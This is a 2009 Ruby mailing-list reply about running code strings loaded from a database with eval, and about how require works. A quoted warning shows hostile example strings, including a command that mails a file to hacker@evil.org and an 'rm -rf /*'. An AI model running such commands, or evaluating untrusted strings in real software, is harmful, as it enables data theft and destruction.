From: Paul F Fraser <paulf@...2zliving.com>
Date: 2009-08-11T20:09:42+09:00
Subject: Re: Load & Execute Code From a Database

Brian Candler wrote:
> Paul F Fraser wrote:
>   
>> My question is a little more basic (and dumb)
>> I have a string containing code from a db.
>> Forgetting for the moment, security, what do I do with the string to
>> have the code available in a running ruby (jruby) application, as I can
>> do with a normal load or require?
>>     
>
> str = "puts 'ha ha ha'"
> eval(str)
>
> But this is enormously risky, unless you 100% trust all users who have 
> the ability to write to that database column. Consider:
>
> str = "File.delete('/any/file')"
> str = "system('cat /any/file | mail hacker@evil.org')"
> str = "system('rm -rf /*')"
>   
Thanks, Brian,
I have tried to locate in the ruby source, what ruby does with a ruby 
file after it loads it with require or load, but the src became a little 
obtuse.
Does require use eval, or what ruby technique is used to incorporate  
the required code into the system?
Paul